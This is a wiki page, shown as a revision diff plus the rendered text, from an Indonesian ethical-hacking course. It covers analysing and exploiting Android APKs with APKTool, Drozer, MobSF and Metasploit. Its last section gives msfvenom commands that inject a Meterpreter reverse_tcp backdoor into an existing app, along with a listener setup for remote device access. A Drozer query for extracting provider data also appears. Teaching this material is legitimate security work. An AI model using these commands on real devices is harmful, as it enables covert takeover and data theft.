Difference between revisions of "Hands-on: Analisis dan Eksploitasi APK Android"

From OnnoWiki
Jump to navigation Jump to search
(Created page with "Untuk melakukan analisis dan eksploitasi APK Android dalam kuliah **ethical hacking**, kita akan menggunakan beberapa tools di Kali Linux 2024.3 seperti **APKTool**, **Drozer*...")
 
Line 1: Line 1:
Untuk melakukan analisis dan eksploitasi APK Android dalam kuliah **ethical hacking**, kita akan menggunakan beberapa tools di Kali Linux 2024.3 seperti **APKTool**, **Drozer**, dan **MobSF**. Berikut adalah langkah-langkah yang bisa diikuti:
+
Untuk melakukan analisis dan eksploitasi APK Android dalam kuliah '''ethical hacking''', kita akan menggunakan beberapa tools di Kali Linux 2024.3 seperti '''APKTool''', '''Drozer''', dan '''MobSF'''. Berikut adalah langkah-langkah yang bisa diikuti:
  
### 1. **Analisis APK Android dengan APKTool**
+
==1. Analisis APK Android dengan APKTool==
  
 
APKTool digunakan untuk membongkar dan memodifikasi APK. Kita bisa memanfaatkan APKTool untuk dekompilasi APK dan melihat source code aplikasi, terutama file manifest yang berisi izin-izin penting.
 
APKTool digunakan untuk membongkar dan memodifikasi APK. Kita bisa memanfaatkan APKTool untuk dekompilasi APK dan melihat source code aplikasi, terutama file manifest yang berisi izin-izin penting.
  
#### Langkah-langkah:
+
'''Langkah-langkah:'''
1. **Install APKTool**: Pastikan APKTool sudah terinstall. Jika belum, install dengan perintah:
+
* '''Install APKTool''': Pastikan APKTool sudah terinstall. Jika belum, install dengan perintah:
  ```bash
+
 
  sudo apt install apktool
+
sudo apt install apktool
  ```
+
 
 +
* '''Dekomplikasi APK''': Untuk menganalisis APK, pertama-tama kita dekompilasi file APK tersebut:
 +
 
 +
apktool d target_app.apk -o output_folder
 +
 
 +
Ini akan mengekstrak isi dari APK ke dalam folder `output_folder`.
 +
 
 +
* '''Analisis File AndroidManifest.xml''': File ini berisi izin-izin (permissions) yang diminta oleh aplikasi. Buka dan analisis apakah ada izin berbahaya seperti akses ke SMS, penyimpanan, atau lokasi yang tidak diperlukan.
 +
 
 +
* '''Memodifikasi dan Kompilasi Ulang APK''': Setelah memodifikasi, APK dapat dikompilasi ulang:
  
2. **Dekomplikasi APK**: Untuk menganalisis APK, pertama-tama kita dekompilasi file APK tersebut:
+
apktool b output_folder -o new_app.apk
  ```bash
 
  apktool d target_app.apk -o output_folder
 
  ```
 
  Ini akan mengekstrak isi dari APK ke dalam folder `output_folder`.
 
  
3. **Analisis File AndroidManifest.xml**: File ini berisi izin-izin (permissions) yang diminta oleh aplikasi. Buka dan analisis apakah ada izin berbahaya seperti akses ke SMS, penyimpanan, atau lokasi yang tidak diperlukan.
+
* '''Penandatanganan APK''': Setelah APK baru dihasilkan, tandatangani dengan kunci:
  
4. **Memodifikasi dan Kompilasi Ulang APK**: Setelah memodifikasi, APK dapat dikompilasi ulang:
+
jarsigner -keystore my-release-key.keystore new_app.apk alias_name
  ```bash
 
  apktool b output_folder -o new_app.apk
 
  ```
 
  
5. **Penandatanganan APK**: Setelah APK baru dihasilkan, tandatangani dengan kunci:
 
  ```bash
 
  jarsigner -keystore my-release-key.keystore new_app.apk alias_name
 
  ```
 
  
#### Contoh:
+
'''Contoh:'''
 
Misalkan aplikasi meminta izin akses SMS tanpa alasan yang jelas. Kita bisa menggunakan APKTool untuk memodifikasi manifest dan menonaktifkan izin tersebut, lalu mengkompilasi ulang aplikasi.
 
Misalkan aplikasi meminta izin akses SMS tanpa alasan yang jelas. Kita bisa menggunakan APKTool untuk memodifikasi manifest dan menonaktifkan izin tersebut, lalu mengkompilasi ulang aplikasi.
  
### 2. **Eksploitasi Aplikasi Menggunakan Drozer**
+
==2. Eksploitasi Aplikasi Menggunakan Drozer==
  
 
Drozer adalah tool yang sangat kuat untuk mengeksploitasi APK Android, khususnya untuk memeriksa kelemahan di dalam komponen aplikasi seperti aktivitas, broadcast receivers, dan content providers.
 
Drozer adalah tool yang sangat kuat untuk mengeksploitasi APK Android, khususnya untuk memeriksa kelemahan di dalam komponen aplikasi seperti aktivitas, broadcast receivers, dan content providers.
  
#### Langkah-langkah:
+
'''Langkah-langkah:'''
1. **Install Drozer**: Install drozer di Kali Linux.
+
* '''Install Drozer''': Install drozer di Kali Linux.
  ```bash
+
 
  sudo apt install drozer
+
sudo apt install drozer
  ```
+
 
 +
* '''Setup Drozer di Perangkat Android''': Instal `drozer-agent.apk` di perangkat Android dan jalankan untuk mendapatkan akses shell:
 +
 
 +
adb install drozer-agent.apk
 +
adb forward tcp:31415 tcp:31415
 +
 
 +
* '''Analisis Aplikasi dengan Drozer''': Setelah setup, koneksikan Drozer dengan aplikasi target:
 +
 
 +
drozer console connect
 +
 
 +
* '''Pemeriksaan Permukaan Serangan''': Gunakan perintah berikut untuk menganalisis permukaan serangan dari aplikasi:
  
2. **Setup Drozer di Perangkat Android**: Instal `drozer-agent.apk` di perangkat Android dan jalankan untuk mendapatkan akses shell:
+
run app.package.info -a com.example.targetapp
  ```bash
 
  adb install drozer-agent.apk
 
  adb forward tcp:31415 tcp:31415
 
  ```
 
  
3. **Analisis Aplikasi dengan Drozer**: Setelah setup, koneksikan Drozer dengan aplikasi target:
+
* '''Eksploitasi Komponen yang Rentan''': Jika aplikasi mengekspos komponen seperti activity atau content provider, kita bisa mengeksploitasi kelemahan ini. Sebagai contoh, jika ada `ContentProvider` yang rentan:
  ```bash
 
  drozer console connect
 
  ```
 
  
4. **Pemeriksaan Permukaan Serangan**: Gunakan perintah berikut untuk menganalisis permukaan serangan dari aplikasi:
+
run app.provider.query content://com.example.targetapp.provider
  ```bash
 
  run app.package.info -a com.example.targetapp
 
  ```
 
  
5. **Eksploitasi Komponen yang Rentan**: Jika aplikasi mengekspos komponen seperti activity atau content provider, kita bisa mengeksploitasi kelemahan ini. Sebagai contoh, jika ada `ContentProvider` yang rentan:
 
  ```bash
 
  run app.provider.query content://com.example.targetapp.provider
 
  ```
 
  
#### Contoh Eksploitasi:
+
'''Contoh Eksploitasi:'''
 
Misalkan sebuah aplikasi memiliki `content provider` yang tidak diatur dengan benar, kita bisa mengakses data sensitif dari aplikasi menggunakan Drozer.
 
Misalkan sebuah aplikasi memiliki `content provider` yang tidak diatur dengan benar, kita bisa mengakses data sensitif dari aplikasi menggunakan Drozer.
  
### 3. **Analisis Vulnerabilitas APK dengan MobSF**
+
==3. Analisis Vulnerabilitas APK dengan MobSF==
  
 
Mobile Security Framework (MobSF) adalah tool otomatis yang mempermudah analisis keamanan APK secara menyeluruh.
 
Mobile Security Framework (MobSF) adalah tool otomatis yang mempermudah analisis keamanan APK secara menyeluruh.
  
#### Langkah-langkah:
+
'''Langkah-langkah:'''
1. **Install MobSF**: Jika MobSF belum terinstal, gunakan Docker untuk menginstall:
+
* '''Install MobSF''': Jika MobSF belum terinstal, gunakan Docker untuk menginstall:
  ```bash
+
 
  docker pull opensecurity/mobile-security-framework-mobsf
+
docker pull opensecurity/mobile-security-framework-mobsf
  docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
+
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
  ```
 
  
2. **Upload APK**: Setelah MobSF berjalan, buka browser dan akses `http://localhost:8000`. Upload APK yang ingin dianalisis.
+
* '''Upload APK''': Setelah MobSF berjalan, buka browser dan akses `http://localhost:8000`. Upload APK yang ingin dianalisis.
  
3. **Analisis Otomatis**: MobSF akan secara otomatis melakukan analisis statik pada APK, termasuk memeriksa komponen berbahaya, izin yang tidak semestinya, dan potensi eksploitasi.
+
* '''Analisis Otomatis''': MobSF akan secara otomatis melakukan analisis statik pada APK, termasuk memeriksa komponen berbahaya, izin yang tidak semestinya, dan potensi eksploitasi.
  
#### Contoh:
+
'''Contoh:'''
 
Dengan MobSF, kita bisa menemukan kelemahan umum seperti *hardcoded credentials*, *insecure storage*, dan *weak cryptographic implementations*.
 
Dengan MobSF, kita bisa menemukan kelemahan umum seperti *hardcoded credentials*, *insecure storage*, dan *weak cryptographic implementations*.
  
### 4. **Menggunakan APK untuk Memasang Backdoor**
+
==4. Menggunakan APK untuk Memasang Backdoor==
 
Eksploitasi lanjutan bisa mencakup memasang backdoor di APK menggunakan Metasploit.
 
Eksploitasi lanjutan bisa mencakup memasang backdoor di APK menggunakan Metasploit.
  
 
#### Langkah-langkah:
 
#### Langkah-langkah:
1. **Membuat APK Backdoor dengan Metasploit**:
+
* '''Membuat APK Backdoor dengan Metasploit''':
  ```bash
+
 
  msfvenom -p android/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -o backdoor.apk
+
msfvenom -p android/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -o backdoor.apk
  ```
+
 
 +
 
 +
* '''Inject Backdoor ke APK''':
 +
 
 +
msfvenom -x original_app.apk -p android/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -o infected_app.apk
  
2. **Inject Backdoor ke APK**:
+
* '''Menjalankan Listener''':
  ```bash
 
  msfvenom -x original_app.apk -p android/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -o infected_app.apk
 
  ```
 
  
3. **Menjalankan Listener**:
+
msfconsole
  ```bash
+
use exploit/multi/handler
  msfconsole
+
set payload android/meterpreter/reverse_tcp
  use exploit/multi/handler
+
set LHOST <IP>
  set payload android/meterpreter/reverse_tcp
+
set LPORT <PORT>
  set LHOST <IP>
+
exploit
  set LPORT <PORT>
 
  exploit
 
  ```
 
  
4. **Jalankan APK di Target**: Setelah APK backdoor diinstal di perangkat target, kita bisa mendapatkan sesi Meterpreter dan mengakses perangkat secara jarak jauh.
+
* '''Jalankan APK di Target''': Setelah APK backdoor diinstal di perangkat target, kita bisa mendapatkan sesi Meterpreter dan mengakses perangkat secara jarak jauh.
  
### Kesimpulan
+
==Kesimpulan==
  
Dengan menggunakan kombinasi tools seperti **APKTool**, **Drozer**, dan **MobSF**, kita dapat melakukan analisis mendalam terhadap APK Android serta mengeksploitasi kerentanannya. Langkah-langkah ini mencakup analisis source code, pengujian permukaan serangan, dan eksploitasi komponen rentan.
+
Dengan menggunakan kombinasi tools seperti '''APKTool''', '''Drozer''', dan '''MobSF''', kita dapat melakukan analisis mendalam terhadap APK Android serta mengeksploitasi kerentanannya. Langkah-langkah ini mencakup analisis source code, pengujian permukaan serangan, dan eksploitasi komponen rentan.
  
  

Revision as of 18:05, 27 October 2024

Untuk melakukan analisis dan eksploitasi APK Android dalam kuliah ethical hacking, kita akan menggunakan beberapa tools di Kali Linux 2024.3 seperti APKTool, Drozer, dan MobSF. Berikut adalah langkah-langkah yang bisa diikuti:

1. Analisis APK Android dengan APKTool

APKTool digunakan untuk membongkar dan memodifikasi APK. Kita bisa memanfaatkan APKTool untuk dekompilasi APK dan melihat source code aplikasi, terutama file manifest yang berisi izin-izin penting.

Langkah-langkah:

  • Install APKTool: Pastikan APKTool sudah terinstall. Jika belum, install dengan perintah:
sudo apt install apktool
  • Dekomplikasi APK: Untuk menganalisis APK, pertama-tama kita dekompilasi file APK tersebut:
apktool d target_app.apk -o output_folder

Ini akan mengekstrak isi dari APK ke dalam folder `output_folder`.

  • Analisis File AndroidManifest.xml: File ini berisi izin-izin (permissions) yang diminta oleh aplikasi. Buka dan analisis apakah ada izin berbahaya seperti akses ke SMS, penyimpanan, atau lokasi yang tidak diperlukan.
  • Memodifikasi dan Kompilasi Ulang APK: Setelah memodifikasi, APK dapat dikompilasi ulang:
apktool b output_folder -o new_app.apk
  • Penandatanganan APK: Setelah APK baru dihasilkan, tandatangani dengan kunci:
jarsigner -keystore my-release-key.keystore new_app.apk alias_name


Contoh: Misalkan aplikasi meminta izin akses SMS tanpa alasan yang jelas. Kita bisa menggunakan APKTool untuk memodifikasi manifest dan menonaktifkan izin tersebut, lalu mengkompilasi ulang aplikasi.

2. Eksploitasi Aplikasi Menggunakan Drozer

Drozer adalah tool yang sangat kuat untuk mengeksploitasi APK Android, khususnya untuk memeriksa kelemahan di dalam komponen aplikasi seperti aktivitas, broadcast receivers, dan content providers.

Langkah-langkah:

  • Install Drozer: Install drozer di Kali Linux.
sudo apt install drozer
  • Setup Drozer di Perangkat Android: Instal `drozer-agent.apk` di perangkat Android dan jalankan untuk mendapatkan akses shell:
adb install drozer-agent.apk
adb forward tcp:31415 tcp:31415
  • Analisis Aplikasi dengan Drozer: Setelah setup, koneksikan Drozer dengan aplikasi target:
drozer console connect
  • Pemeriksaan Permukaan Serangan: Gunakan perintah berikut untuk menganalisis permukaan serangan dari aplikasi:
run app.package.info -a com.example.targetapp
  • Eksploitasi Komponen yang Rentan: Jika aplikasi mengekspos komponen seperti activity atau content provider, kita bisa mengeksploitasi kelemahan ini. Sebagai contoh, jika ada `ContentProvider` yang rentan:
run app.provider.query content://com.example.targetapp.provider


Contoh Eksploitasi: Misalkan sebuah aplikasi memiliki `content provider` yang tidak diatur dengan benar, kita bisa mengakses data sensitif dari aplikasi menggunakan Drozer.

3. Analisis Vulnerabilitas APK dengan MobSF

Mobile Security Framework (MobSF) adalah tool otomatis yang mempermudah analisis keamanan APK secara menyeluruh.

Langkah-langkah:

  • Install MobSF: Jika MobSF belum terinstal, gunakan Docker untuk menginstall:
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
  • Upload APK: Setelah MobSF berjalan, buka browser dan akses `http://localhost:8000`. Upload APK yang ingin dianalisis.
  • Analisis Otomatis: MobSF akan secara otomatis melakukan analisis statik pada APK, termasuk memeriksa komponen berbahaya, izin yang tidak semestinya, dan potensi eksploitasi.

Contoh: Dengan MobSF, kita bisa menemukan kelemahan umum seperti *hardcoded credentials*, *insecure storage*, dan *weak cryptographic implementations*.

4. Menggunakan APK untuk Memasang Backdoor

Eksploitasi lanjutan bisa mencakup memasang backdoor di APK menggunakan Metasploit.

        1. Langkah-langkah:
  • Membuat APK Backdoor dengan Metasploit:
msfvenom -p android/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -o backdoor.apk


  • Inject Backdoor ke APK:
msfvenom -x original_app.apk -p android/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -o infected_app.apk
  • Menjalankan Listener:
msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST <IP>
set LPORT <PORT>
exploit
  • Jalankan APK di Target: Setelah APK backdoor diinstal di perangkat target, kita bisa mendapatkan sesi Meterpreter dan mengakses perangkat secara jarak jauh.

Kesimpulan

Dengan menggunakan kombinasi tools seperti APKTool, Drozer, dan MobSF, kita dapat melakukan analisis mendalam terhadap APK Android serta mengeksploitasi kerentanannya. Langkah-langkah ini mencakup analisis source code, pengujian permukaan serangan, dan eksploitasi komponen rentan.


Pranala Menarik